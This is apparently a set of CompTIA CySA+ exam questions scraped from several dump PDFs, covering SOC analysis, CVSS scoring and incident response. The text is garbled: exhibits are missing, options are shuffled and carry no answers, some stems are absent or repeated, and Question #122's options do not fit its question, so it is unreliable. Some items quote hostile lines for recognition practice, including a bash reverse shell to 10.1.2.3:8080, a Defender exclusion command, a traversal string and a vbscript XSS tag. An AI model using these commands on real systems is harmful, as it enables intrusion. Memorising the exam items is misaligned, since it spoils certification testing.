An older CVE with a vulnerability score of 7.1 was elevated to a score of 9.8 due to a widely available exploit being used to deliver ransomware. Which of the following factors would an analyst most likely communicate as the reason for this escalation?

B. Weaponization
D. Asset value
A. Scope
C. CVSS

Question #29

A security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM. The analyst no longer had to jump between tools. Which of the following best describes what the security program did?

C. Threat feed combination
B. Security control plane
D. Single pane of glass
A. Data enrichment

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #221

A security audit for unsecured network services was conducted, and the following output was generated:

Which of the following services should the security team investigate further? (Select two).

A. 21
C. 23
B. 22
F. 3389
D. 636
E. 1723

Question #73

An employee accessed a website that caused a device to become infected with invasive malware. The incident response analyst has:

• created the initial evidence log.
• disabled the wireless adapter on the device.
• interviewed the employee, who was unable to identify the website that was accessed.
• reviewed the web proxy traffic logs.

Which of the following should the analyst do to remediate the infected device?

D. Delete the user profile and restore data from backup.
B. Install an additional malware scanner that will send email alerts to the analyst.
A. Update the system firmware and reimage the hardware.
C. Configure the system to use a proxy server for Internet access.

Question #200

The Chief Information Security Officer for an organization recently received approval to install a new EDR solution. Following the installation, the number of alerts that require remediation by an analyst has tripled. Which of the following should the organization utilize to best centralize the workload for the internal security team? (Choose two.)

E. XDR
D. NGFW
F. DLP
B. SIEM
C. MSP
A. SOAR

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #244

An analyst needs to provide recommendations based on a recent vulnerability scan:

Which of the following should the analyst recommend addressing to ensure potential vulnerabilities are identified?

D. Scan not performed with admin privileges
A. SMB use domain SID to enumerate users
C. SSL certificate cannot be trusted
B. SYN scanner

Question #17

The security team reviews a web server for XSS and runs the following Nmap scan:

Which of the following most accurately describes the result of the scan?

D. The vulnerable parameter and characters > and " with a reflected XSS attempt
A. An output of characters > and " as the parameters used m the attempt
C. The vulnerable parameter and unfiltered or encoded characters passed > and " as unsafe
B. The vulnerable parameter ID http://172.31.15.2/1.php?id-2 and unfiltered characters returned

Question #4

Which of the following items should be included in a vulnerability scan report? (Choose two.)

C. Playbook
A. Lessons learned
D. Affected hosts
E. Risk score
B. Service-level agreement
F. Education plan

Question #140

An organization enabled a SIEM rule to send an alert to a security analyst distribution list when ten failed logins occur within one minute. However, the control was unable to detect an attack with nine failed logins. Which of the following best represents what occurred?

C. False negative
D. True positive
B. True negative
A. False positive

Question #113

Which of the following is the most important factor to ensure accurate incident response reporting?

B. A guideline for regulatory reporting
D. A well-developed executive summary
A. A well-defined timeline of the events
C. Logs from the impacted system

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #34

Which of the following is the best way to begin preparation for a report titled 'What We Learned' regarding a recent incident involving a cybersecurity breach?

D. Decide on the color scheme that will effectively communicate the metrics
C. Include a table of contents outlining the entire report
A. Determine the sophistication of the audience that the report is meant for
B. Include references and sources of information on the first page

Question #179

A cybersecurity analyst is recording the following details:

• ID
• Name
• Description
• Classification of information
• Responsible party

In which of the following documents is the analyst recording this information?

B. Change control documentation
D. Incident response plan
C. Incident response playbook
A. Risk register

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #176

AXSS vulnerability was reported on one of the non-sensitive/non-mission-critical public websites of a company. The security department confirmed the finding and needs to provide a recommendation to the application owner.

Which of the following recommendations will best prevent this vulnerability from being exploited? (Select two).

A. Implement an IPS in front of the web server.
B. Enable MFA on the website.
E. Configure TLS v1.3 on the website.
F. Fix the vulnerability using a virtual patch at the WAF.
D. Implement a compensating control in the source code.
C. Take the website offline until it is patched.

Question #86

A cybersecurity analyst is reviewing SIEM logs and observes consistent requests originating from an internal host to a blocklisted external server. Which of the following best describes the activity that is taking place?

A. Data exfiltration
C. Scanning
B. Rogue device
D. Beaconing

Question #26

Which of the following is the first step that should be performed when establishing a disaster recovery plan?

D. Identify applications to be run during a disaster
B. Determine the site to be used during a disaster
A. Agree on the goals and objectives of the plan
C. Demonstrate adherence to a standard disaster recovery process

Question #89

A SOC analyst identifies the following content while examining the output of a debugger command over a client-server application:

getConnection(database01,"alpha" ,"AxTv.127GdCx94GTd");

Which of the following is the most likely vulnerability in this system?

C. Hard-coded credential
B. SQL injection
D. Buffer overflow
A. Lack of input validation

A zero-day command injection vulnerability was published. A security administrator is analyzing the following logs for evidence of adversaries attempting to exploit the vulnerability:

Which of the following log entries provides evidence of the attempted exploit?

D. Log entry 4
A. Log entry 1
C. Log entry 3
B. Log entry 2

Question #159

Which of the following best describes the actions taken by an organization after the resolution of an incident that addresses issues and reflects on the growth opportunities for future incidents?

C. Root cause analysis
A. Lessons learned
D. Regulatory compliance
B. Scrum review

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #10

A security analyst has found a moderate-risk item in an organization's point-of-sale application. The
organization is currently in a change freeze window and has decided that the risk is not high enough to correct
at this time. Which of the following inhibitors to remediation does this scenario illustrate?

C. Degrading functionality
D. Proprietary system
B. Business process interruption
A. Service-level agreement

Question #81

A virtual web server in a server pool was infected with malware after an analyst used the internet to research a system issue. After the server was rebuilt and added back into the server pool, users reported issues with the website, indicating the site could not be trusted. Which of the following is the most likely cause of the server issue?

C. The malware infected all the web servers in the pool.
B. The server was supporting weak TLS protocols for client connections.
D. The digital certificate on the web server was self-signed.
A. The server was configured to use SSL to securely transmit data.

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #88

A disgruntled open-source developer has decided to sabotage a code repository with a logic bomb that will act as a wiper. Which of the following parts of the Cyber Kill Chain does this act exhibit?

D. Installation
B. Weaponization
C. Exploitation
A. Reconnaissance

Question #90

A technician is analyzing output from a popular network mapping tool for a PCI audit:

Which of the following best describes the output?

D. The Secure Shell port on this host is closed.
A. The host is not up or responding.
B. The host is running excessive cipher suites.
C. The host is allowing insecure cipher suites.

Question #58

An analyst has been asked to validate the potential risk of a new ransomware campaign that the Chief Financial Officer read about in the newspaper. The company is a manufacturer of a very small spring used in the newest fighter jet and is a critical piece of the supply chain for this aircraft. Which of the following would be the best threat intelligence source to learn about this new campaign?

B. Blogs/forums
D. Deep/dark web
A. Information sharing organization
C. Cybersecurity incident response team

Question #69

A cybersecurity analyst notices unusual network scanning activity coming from a country that the company does not do business with. Which of the following is the best mitigation technique?

B. Block the IP range of the scans at the network firewall.
D. Block the specific IP address of the scans at the network firewall.
C. Perform a historical trend analysis and look for similar scanning activity.
A. Geoblock the offending source country.

Question #204

Which of the following is a useful tool for mapping, tracking, and mitigating identified threats and vulnerabilities with the likelihood and impact of occurrence?

D. Compliance report
C. Penetration test
B. Vulnerability assessment
A. Risk register

Question #158

A company has the following security requirements:

• No public IPs
• All data secured at rest
• No insecure ports/protocols

After a cloud scan is completed a security analyst receives reports that several misconfigurations are putting the company at risk. Given the following cloud scanner output:

Which of the following should the analyst recommend be updated first to meet the security requirements and reduce risks?

B. VM_DEV_DB
A. VM_PRD_DB
D. VM_PRD_Web01
C. VM_DEV_Web02

Question #53

Joe, a leading sales person at an organization, has announced on social media that he is leaving his current role to start a new company that will compete with his current employer. Joe is soliciting his current employer's customers. However, Joe has not resigned or discussed this with his current supervisor yet. Which of the following would be the best action for the incident response team to recommend?

A. Isolate Joe's PC from the network
B. Reimage the PC based on standard operating procedures
D. Perform no action until HR or legal counsel advises on next steps
C. Initiate a remote wipe of Joe's PC using mobile device management

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #56

A vulnerability scan of a web server that is exposed to the internet was recently completed. A security analyst is reviewing the resulting vector strings:

Vulnerability 1: CVSS: 3.0/AV:N/AC: L/PR: N/UI : N/S: U/C: H/I : L/A:L
Vulnerability 2: CVSS: 3.0/AV: L/AC: H/PR:N/UI : N/S: U/C: L/I : L/A: H
Vulnerability 3: CVSS: 3.0/AV:A/AC: H/PR: L/UI : R/S: U/C: L/I : H/A:L
Vulnerability 4: CVSS: 3.0/AV: P/AC: L/PR: H/UI : N/S: U/C: H/I:N/A:L

Which of the following vulnerabilities should be patched first?

B. Vulnerability 2
C. Vulnerability 3
D. Vulnerability 4
A. Vulnerability 1

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #50

A security analyst is performing vulnerability scans on the network. The analyst installs a scanner appliance, configures the subnets to scan, and begins the scan of the network. Which of the following would be missing from a
scan performed with this configuration?

B. Registry key values
C. Open ports
A. Operating system version
D. IP address

Question #28

The analyst reviews the following endpoint log entry:

Which of the following has occurred?

B. Rename computer
D. Privilege escalation
A. Registry change
C. New account introduced

Question #63

During an incident, an analyst needs to acquire evidence for later investigation. Which of the following must be collected first in a computer system, related to its volatility level?

B. Backup data
C. Temporary files
D. Running processes
A. Disk contents

Question #182

During a scan of a web server in the perimeter network, a vulnerability was identified that could be exploited over port 3389. The web server is protected by a WAF. Which of the following best represents the change to overall risk associated with this vulnerability?

C. The risk would decrease because a web application firewall is in place
D. The risk would increase because the host is external facing
B. The risk would decrease because RDP is blocked by the firewall
A. The risk would not change because network firewalls are in use

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #24

A security analyst is reviewing a packet capture in Wireshark that contains an FTP session from a potentially compromised machine. The analyst sets the following display filter: ftp. The analyst can see there are several RETR
requests with 226 Transfer complete responses, but the packet list pane is not showing the packets containing the file transfer itself. Which of the following can the analyst perform to see the entire contents of the
downloaded files?

D. Navigate to the File menu and select FTP from the Export objects option
C. Change the display filter to f cp-daca and follow the TCP streams
B. Change the display filter to tcg.port=20
A. Change the display filter to f cp. accive. pore

Question #166

An organization needs to bring in data collection and aggregation from various endpoints. Which of the following is the best tool to deploy to help analysts gather this data?

A. DLP
C. EDR
B. NAC
D. NIDS

Question #196

A security analyst has prepared a vulnerability scan that contains all of the company’s functional subnets. During the initial scan users reported that network printers began to print pages that contained unreadable text and icons. Which of the following should the analyst do to ensure this behavior does not occur during subsequent vulnerability scans?

C. Create a tailored scan for the printer subnet
A. Perform non-credentialed scans
B. Ignore embedded web server ports
D. Increase the threshold length of the scan timeout

Question #181

While configuring a SIEM for an organization, a security analyst is having difficulty correlating incidents across different systems. Which of the following should be checked first?

C. Behavioral correlation settings
B. NTP configuration on each system
A. If appropriate logging levels are set
D. Data normalization rules

Question #107

A security analyst identified the following suspicious entry on the host-based IDS logs:

bash -i >& /dev/tcp/10.1.2.3/8080 0>&1

Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?

D. #!/bin/bash netstat -antp | grep 8080 >dev/null && echo "Malicious activity" || echo "OK"
B. #!/bin/bash ps -fea | grep 8080 >dev/null && echo "Malicious activity" || echo "OK"
A. #!/bin/bash nc 10.1.2.3 8080 -vv >dev/null && echo "Malicious activity" || echo "OK"
C. #!/bin/bash ls /opt/tcp/10.1.2.3/8080 >dev/null && echo "Malicious activity" || echo "OK"

Question #164

A security team is concerned about recent Layer 4 DDoS attacks against the company website. Which of the following controls would best mitigate the attacks?

D. Implement a load balancer
A. Block the attacks using firewall rules
B. Deploy an IPS in the perimeter network
C. Roll out a CDN

Question #203

A network analyst notices a long spike in traffic on port 1433 between two IP addresses on opposite sides of a WAN connection. Which of the following is the most likely cause?

A. A local red team member is enumerating the local RFC1918 segment to enumerate hosts
B. A threat actor has a foothold on the network and is sending out control beacons
D. An insider threat actor is running Responder on the local segment, creating traffic replication
C. An administrator executed a new database replication process without notifying the SOC

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #109

Which of the following entities should an incident manager work with to ensure correct processes are adhered to when communicating incident reporting to the general public, as a best practice? (Select two)

E. Public relations
D. Manager
C. Legal
A. Law enforcement
B. Governance
F. Human resources

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #38

An employee downloads a freeware program to change the desktop to the classic look of legacy Windows. Shortly after the employee installs the program, a high volume of random DNS queries begin to originate from the system. An investigation on the system reveals the following:

Add-MpPreference -ExclusionPath '%Program Filest\ksysconfig'

Which of the following is possibly occurring?

B. Privilege escalation
D. Defense evasion
A. Persistence
C. Credential harvesting

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #115

During an internal code review, software called "ACE" was discovered to have a vulnerability that allows the execution of arbitrary code. The vulnerability is in a legacy, third-party vendor resource that is used by the ACE software. ACE is used worldwide and is essential for many businesses in this industry. Developers informed the Chief Information Security Officer that removal of the vulnerability will take time.

Which of the following is the first action to take?

C. Remove the affected vendor resource from the ACE software.
D. Develop a compensating control until the issue can be fixed permanently.
A. Look for potential loCs in the company.
B. Inform customers of the vulnerability.

Question #41

An analyst is reviewing a vulnerability report for a server environment with the following entries:

Which of the following systems should be prioritized for patching first?

B. 54.73.225.17
A. 10.101.27.98
D. 54.74.110.228
C. 54.74.110.26

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #157

A security analyst detects an email server that had been compromised in the internal network. Users have been reporting strange messages in their email inboxes and unusual network traffic. Which of the following incident response steps should be performed next?

A. Preparation
D. Eradiction
B. Validation
C. Containment

Question #96

A security analyst at a company called ACME Commercial notices there is outbound traffic to a host IP that resolves to https://office365password.acme.co. The site’s standard VPN logon page is www.acme.com/logon. Which of the following is most likely true?

C. A new VPN gateway has been deployed.
D. A social engineering attack is underway.
A. This is a normal password change URL.
B. The security operations center is performing a routine password audit.

Question #154

Which of the following best describes the reporting metric that should be utilized when measuring the degree to which a system application, or user base is affected by an uptime availability outage?

C. Impact
D. Scope
A. Timeline
B. Evidence

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #27

A security analyst has identified a new malware file that has impacted the organization. The malware is olymorphic and has built-in conditional triggers that require a connection to the internet. The CPU has an idle process of at least 70%.

Which of the following best describes how the security analyst can effectively review the malware without compromising the organization's network?

A. Utilize an RDP session on an unused workstation to evaluate the malware.
B. Disconnect and utilize an existing infected asset off the network.
C. Create a virtual host for testing on the security analyst workstation.
D. Subscribe to an online service to create a sandbox environment.

Question #177

After a security assessment was done by a third-party consulting firm, the cybersecurity program recommended integrating DLP and CASE to reduce analyst alert fatigue. Which of the following is the best possible outcome that this effort hopes to achieve?

C. False positive rates drop to 20%.
B. Phishing alerts drop by 20%.
D. The MTTR decreases by 20%.
A. SIEM ingestion logs are reduced by 20%.

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #187

Which of the following most accurately describes the Cyber Kill Chain methodology?

D. It outlines a clear path for determining the relationships between the attacker, the technology used, and the target
C. It provides a clear model of how an attacker generally operates during an intrusion and the actions to take at each stage
B. It is used to ascertain lateral movements of an attacker, enabling the process to be stopped.
A. It is used to correlate events to ascertain the TTPs of an attacker.

Question #125

During an incident involving phishing, a security analyst needs to find the source of the malicious email. Which of the following techniques would provide the analyst with this information?

C. SSL inspection
A. Header analysis
B. Packet capture
D. Reverse engineering

Question #30

Due to reports of unauthorized activity that was occurring on the internal network, an analyst is performing a network discovery. The analyst runs an Nmap scan against a corporate network to evaluate which devices were operating in the environment. Given the following output:

Which of the following choices should the analyst look at first?

D. xlaptop.lan (192.168.86.249)
E. p4wnp1_aloa.lan (192.168.86.56)
C. imaging.lan (192.168.86.150)
B. officerckuplayer.lan (192.168.86.22)
A. wh4dc-748gy.lan (192.168.86.152)

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #15

Which of the following is the first step that should be performed when establishing a disaster recovery plan?

B. Determine the site to be used during a disaster C Demonstrate adherence to a standard disaster recovery process
C. Identity applications to be run during a disaster
A. Agree on the goals and objectives of the plan

Question #148

A new zero-day vulnerability was released. A security analyst is prioritizing which systems should receive deployment of compensating controls deployment first. The systems have been grouped into the categories shown below:

Which of the following groups should be prioritized for compensating controls?

D. Group D
A. Group A
B. Group B
C. Group C

Question #222

When undertaking a cloud migration of multiple SaaS applications, an organization's systems administrators struggled with the complexity of extending identity and access management to cloud-based assets. Which of the following service models would have reduced the complexity of this project?

C. ZTNA
B. SASE
D. SWG
A. CASB

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #171

An organization has tracked several incidents that are listed in the following table:

Which of the following is the organization's MTTD?

D. 180
C. 160
B. 150
A. 140

Question #128

An organization recently changed its BC and DR plans. Which of the following would best allow for the incident response team to test the changes without any impact to the business?

C. Migrate active workloads from the primary data center to the secondary location.
B. Simulate an incident by shutting down power to the primary data center.
D. Compare the current plan to lessons learned from previous incidents.
A. Perform a tabletop drill based on previously identified incident scenarios.

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #77

While a security analyst for an organization was reviewing logs from web servers. the analyst found several successful attempts to downgrade HTTPS sessions to use cipher modes of operation susceptible to padding oracle
attacks. Which of the following combinations of configuration changes should the organization make to remediate this issue? (Select two)

B. Remove cipher suites that use CBC.
C. Configure the server to prefer ephemeral modes for key exchange.
A. Configure the server to prefer TLS 1.3.
E. Configure the server to require HSTS.
D. Require client browsers to present a user certificate for mutual authentication.
F. Remove cipher suites that use GCM.

Question #72

A cybersecurity team lead is developing metrics to present in the weekly executive briefs. Executives are interested in knowing how long it takes to stop the spread of malware that enters the network. Which of the following metrics should the team lead include in the briefs?

B. Mean time to detect
A. Mean time between failures
C. Mean time to remediate
D. Mean time to contain

Question #127

During a cybersecurity incident, one of the web servers at the perimeter network was affected by ransomware. Which of the following actions should be performed immediately?

D. Update the OS to latest version.
C. Quarantine the server.
A. Shut down the server.
B. Reimage the server.

Question #65

A security analyst is writing a shell script to identify IP addresses from the same country. Which of the following functions would help the analyst achieve the objective?

B. function x() { info=$(geoiplookup $1) && echo “$1 | $info” }
A. function w() { info=$(ping -c 1 $1 | awk -F “/” ‘END{print $1}’) && echo “$1 | $info” }
D. function z() { info=$(traceroute -m 40 $1 | awk ‘END{print $1}’) && echo “$1 | $info” }
C. function y() { info=$(dig -x $1 | grep PTR | tail -n 1 ) && echo “$1 | $info” }

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #72

A Chief Information Security Officer wants to map all the attack vectors that the company faces each day. Which of the following recommendations should the company align their security controls around?

D. MITRE ATT&CK
A. OSSTMM
B. Diamond Model Of Intrusion Analysis
C. OWASP

Question #153

A web application team notifies a SOC analyst that there are thousands of HTTP/404 events on the public-facing web server. Which of the following is the next step for the analyst to take?

B. Escalate the event to an incident and notify the SOC manager of the activity
D. Identify the IP/hostname for the requests and look at the related activity
C. Notify the incident response team that there is a DDoS attack occurring
A. Instruct the firewall engineer that a rule needs to be added to block this external server

Question #141

A cybersecurity analyst is tasked with scanning a web application to understand where the scan will go and whether there are URIs that should be denied access prior to more in-depth scanning. Which of following best fits the type of scanning activity requested?

A. Uncredentialed scan
C. Vulnerability scan
B. Discovery scan
D. Credentialed scan

Question #79

A security analyst must preserve a system hard drive that was involved in a litigation request. Which of the following is the best method to ensure the data on the device is not modified?

A. Generate a hash value and make a backup image.
C. Protect the device with a complex password.
B. Encrypt the device to ensure confidentiality of the data.
D. Perform a memory scan dump to collect residual data

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #74

An analyst is evaluating the following vulnerability report:

Which of the following vulnerability report sections provides information about the level of impact on data confidentiality if a successful exploitation occurs?

D. Profile
B. Metrics
C. Vulnerability
A. Payloads

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #3

Which of the following security operations tasks are ideal for automation?

C. Security application user errors: Search the error logs for signs of users having trouble with the security application Look up the user's phone number Call the user to help with any questions about using the application
A. Suspicious file analysis: Look for suspicious-looking graphics in a folder. Create subfolders in the original folder based on category of graphics found. Move the suspicious graphics to the appropriate subfolde
D. Email header analysis: Check the email header for a phishing confidence metric greater than or equal to five Add the domain of sender to the block list Move the email to quarantine
B. Firewall IoC block actions: Examine the firewall logs for IoCs from the most recently published zero-day exploit Take mitigating actions in the firewall to block the behavior found in the logs Follow up on any false positives that were caused by the block rules

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #12

A SOC analyst is analyzing traffic on a network and notices an unauthorized scan. Which of the following types of activities is being observed?

A. Potential precursor to an attack
B. Unauthorized peer-to-peer communication
D. System updates
C. Rogue device on the network

Question #67

While reviewing web server logs, an analyst notices several entries with the same time stamps, but all contain odd characters in the request line. Which of the following steps should be taken next?

B. Determine what attack the odd characters are indicative of.
D. Notify the local law enforcement for incident response.
C. Utilize the correct attack framework and determine what the incident response will consist of.
A. Shut the network down immediately and call the next person in the chain of command.

Question #209

An analyst suspects cleartext passwords are being sent over the network. Which of the following tools would best support the analyst's investigation?

D. Maltego
A. OpenVAS
C. Wireshark
B. Angry IP Scanner

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #8

A security analyst receives an alert for suspicious activity on a company laptop An excerpt of the log is shown below:

Which of the following has most likely occurred?

D. A web browser vulnerability was exploited.
B. A credential-stealing website was visited.
A. An Office document with a malicious macro was opened.
C. A phishing link in an email was clicked

Question #44

There are several reports of sensitive information being disclosed via file sharing services. The company would like to improve its security posture against this threat. Which of the following security controls would best support the company in this scenario?

A. Implement step-up authentication for administrators
B. Improve employee training and awareness
C. Increase password complexity standards
D. Deploy mobile device management

Question #122

An organization's email account was compromised by a bad actor. Given the following information:

Which of the following is the length of time the team took to detect the threat?

A. Data masking
B. Hashing
D. Encoding
C. Watermarking

Question #135

An incident response analyst is taking over an investigation from another analyst. The investigation has been going on for the past few days. Which of the following steps is most important during the transition between the two analysts?

C. Review the steps that the previous analyst followed.
D. Validate the root cause from the prior analyst.
B. Accept all findings and continue to investigate the next item target.
A. Identify and discuss the lessons learned with the prior analyst.

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #129

An organization is conducting a pilot deployment of an e-commerce application. The application's source code is not available. Which of the following strategies should an analyst recommend to evaluate the security of the software?

C. Dynamic testing
A. Static testing
B. Vulnerability testing
D. Penetration testing

Question #198

An employee is no longer able to log in to an account after updating a browser. The employee usually has several tabs open in the browser. Which of the following attacks was most likely performed?

D. XSS
C. CSRF
A. RFI
B. LFI

Question #34

An analyst notices there is an internal device sending HTTPS traffic with additional characters in the header to a known-malicious IP in another country. Which of the following describes what the analyst has noticed?

B. Cross-site scripting
A. Beaconing
D. PHP traversal
C. Buffer overflow

Question #37

Which of the following phases of the Cyber Kill Chain involves the adversary attempting to establish communication with a successfully exploited target?

C. Exploitation
B. Actions on objectives
A. Command and control
D. Delivery

Question #192

During the log analysis phase, the following suspicious command is detected:

Which of the following is being attempted?

A. Buffer overflow
C. ICMP tunneling
B. RCE
D. Smurf attack

Question #102

An analyst recommends that an EDR agent collect the source IP address, make a connection to the firewall, and create a policy to block the malicious source IP address across the entire network automatically. Which of the following is the best option to help the analyst implement this recommendation?

D. IoC
A. SOAR
C. SLA
B. SIEM

Question #84

A security analyst is reviewing the following alert that was triggered by FIM on a critical system:

Which of the following best describes the suspicious activity that is occurring?

B. A network drive was added to allow exfiltration of data.
C. A new program has been set to execute on system start.
D. The host firewall on 192.168.1.10 was disabled.
A. A fake antivirus program was installed by the user.

Question #76

Given the following CVSS string:

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Which of the following attributes correctly describes this vulnerability?

A. A user is required to exploit this vulnerability.
C. The vulnerability does not affect confidentiality.
B. The vulnerability is network based.
D. The complexity to exploit the vulnerability is high.

Question #64

A security analyst is trying to identify possible network addresses from different source networks belonging to the same company and region. Which of the following shell script functions could help achieve the goal?

C. function y() { dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ”.in-addr” ’{print $1}’).origin.asn.cymru.com TXT +short }
A. function w() { a=$(ping -c 1 $1 | awk-F ”/” ’END{print $1}’) && echo “$1 | $a” }
B. function x() { b=traceroute -m 40 $1 | awk ’END{print $1}’) && echo “$1 | $b” }
D. function z() { c=$(geoiplookup$1) && echo “$1 | $c” }

Question #85

Which of the following best describes the document that defines the expectation to network customers that patching will only occur between 2:00 a.m. and 4:00 a.m.?

D. KPI
A. SLA
B. LOI
C. MOU

Question #78

Patches for two highly exploited vulnerabilities were released on the same Friday afternoon. Information about the systems and vulnerabilities is shown in the tables below:

Which of the following should the security analyst prioritize for remediation?

D. manning
B. brady
A. rogers
C. brees

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #164

Exploit code for a recently disclosed critical software vulnerability was publicly available (or download for several days before being removed. Which of the following CVSS v.3.1 temporal metrics was most impacted by this exposure?

C. Report confidence
D. Availability
B. Exploit code maturity
A. Remediation Level

Question #20

An incident response team found IoCs in a critical server. The team needs to isolate and collect technical evidence for further investigation. Which of the following pieces of data should be collected first in order to preserve sensitive information before isolating the server?

B. Primary boot partition
A. Hard disk
D. Routing table
C. Malicious files
E. Static IP address

Question #97

B. Registry key values
A. Operating system version
D. IP address
C. Open ports

Question #143

Which of the following risk management principles is accomplished by purchasing cyber insurance?

C. Mitigate
B. Avoid
D. Transfer
A. Accept

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #297

An organization has established a formal change management process after experiencing several critical system failures over the past year. Which of the following are key factors that the change management process will include in order to reduce the impact of system failures? (Select two).

D. Identify assets with dependence that could be impacted by the change.
A. Ensure users the document system recovery plan prior to deployment.
C. Leverage an audit tool to identify changes that are being made.
E. Require diagrams to be completed for all critical systems.
B. Perform a full system-level backup following the change.
F. Ensure that all assets are properly listed in the inventory management system.

Question #12

A malicious actor has gained access to an internal network by means of social engineering. The actor does not want to lose access in order to continue the attack. Which of the following best describes the current stage of the Cyber Kill Chain that the threat actor is currently operating in?

A. Weaponization
B. Reconnaissance
C. Delivery
D. Exploitation

Question #197

A Chief Information Security Officer has outlined several requirements for a new vulnerability scanning project:

• Must use minimal network bandwidth
• Must use minimal host resources
• Must provide accurate, near real-time updates
• Must not have any stored credentials in configuration on the scanner

Which of the following vulnerability scanning methods should be used to best meet these requirements?

C. Active
B. Agent
A. Internal
D. Uncredentialed

Question #205

Which of the following is often used to keep the number of alerts to a manageable level when establishing a process to track and analyze violations?

A. Log retention
B. Log rotation
C. Maximum log size
D. Threshold value

Question #147

An organization's threat intelligence team notes a recent trend in adversary privilege escalation procedures. Multiple threat groups have been observed utilizing native Windows tools to bypass system controls and execute commands with privileged credentials. Which of the following controls would be most effective to reduce the rate of success of such attempts?

C. Harden systems by disabling or removing unnecessary services
B. Implement MFA requirements for all internal resources
D. Implement controls to block execution of untrusted applications
A. Set user account control protection to the most restrictive level on all devices

Question #130

Following a recent security incident, the Chief Information Security Officer is concerned with improving visibility and reporting of malicious actors in the environment. The goal is to reduce the time to prevent lateral movement and potential data exfiltration. Which of the following techniques will best achieve the improvement?

D. Service-level agreement uptime
B. Mean time to respond
A. Mean time to detect
C. Mean time to remediate

Question #18

Which of the following is the best action to take after the conclusion of a security incident to improve incident response in the future?

A. Develop a call tree to inform impacted users
B. Schedule a review with all teams to discuss what occurred
D. Review regulatory compliance with public relations for official notification
C. Create an executive summary to update company leadership

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #237

Which of the following is described as a method of enforcing a security policy between cloud customers and cloud services?

B. DMARC
C. SIEM
D. PAM
A. CASB

Question #142

Which of the following best describes the process of requiring remediation of a known threat within a given time frame?

A. SLA
D. Organizational governance
C. Best-effort patching
B. MOU

Question #133

The security analyst received the monthly vulnerability report. The following findings were included in the report:

• Five of the systems only required a reboot to finalize the patch application
• Two of the servers are running outdated operating systems and cannot be patched

The analyst determines that the only way to ensure these servers cannot be compromised is to isolate them. Which of the following approaches will best minimize the risk of the outdated servers being compromised?

B. Due diligence
D. Passive discovery
A. Compensating controls
C. Maintenance windows

Question #93

An analyst receives threat intelligence regarding potential attacks from an actor with seemingly unlimited time and resources. Which of the following best describes the threat actor attributed to the malicious activity?

B. Ransomware group
C. Nation-state
D. Organized crime
A. Insider threat

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #13

A security manager is looking at a third-party vulnerability metric (SMITTEN) to improve upon the
company's current method that relies on CVSSv3. Given the following:

Which of the following vulnerabilities should be prioritized?

D. Vulnerability 4
C. Vulnerability 3
B. Vulnerability 2
A. Vulnerability 1

Question #80

Which of the following best describes the goal of a tabletop exercise?

B. To perform attack exercises to check response effectiveness
D. To check the effectiveness of the business continuity plan
C. To understand existing threat actors and how to replicate their techniques
A. To test possible incident scenarios and how to react properly

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #106

While reviewing the web server logs a security analyst notices the following snippet

..\../..\../boot.ini

Which of the following is being attempted?

C. Cross-site scripting
E. Enumeration of/etc/password
D. Remote code execution
A. Directory traversal
B. Remote file inclusion

Question #116

A security analyst must review a suspicious email to determine its legitimacy. Which of the following should be performed? (Choose two.)

F. Examine the SPF, DKIM, and DMARC fields from the original email
B. Review the headers from the forwarded email
D. Review the Content-Type header
E. Evaluate the HELO or EHLO string of the connecting email server
C. Examine the recipient address field
A. Evaluate scoring fields, such as Spam Confidence Level and Bulk Complaint Level

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #39

During normal security monitoring activities, the following activity was observed:

cd C:\Users\Documents\HR\Employees

takeown/f .*

SUCCESS:

Which of the following best describes the potentially malicious activity observed?

B. Data exfiltration
A. Registry changes or anomalies
D. File configuration changes
C. Unauthorized privileges

Question #157

An organization receives a legal hold request from an attorney. The request pertains to emails related to a disputed vendor contract. Which of the following is the best step for the security team to take to ensure compliance with the request?

A. Publicly disclose the request to other vendors
C. Establish a chain of custody starting with the attorney's request
D. Back up the mailboxes on the server and provide the attorney with a copy
B. Notify the departments involved to preserve potentially relevant information

Question #95

While reviewing web server logs, a security analyst found the following line:

< IMG SRC='vbscript:msgbox("test")' >

Which of the following malicious activities was attempted?

A. Command injection
C. Server-side request forgery
D. Cross-site scripting
B. XML injection

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #23

A. Beaconing
C. Buffer overflow
B. Cross-site scripting
D. PHP traversal

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #33

D. Deploy mobile device management
B. Improve employee training and awareness
C. Increase password complexity standards
A. Implement step-up authentication for administrators

Question #126

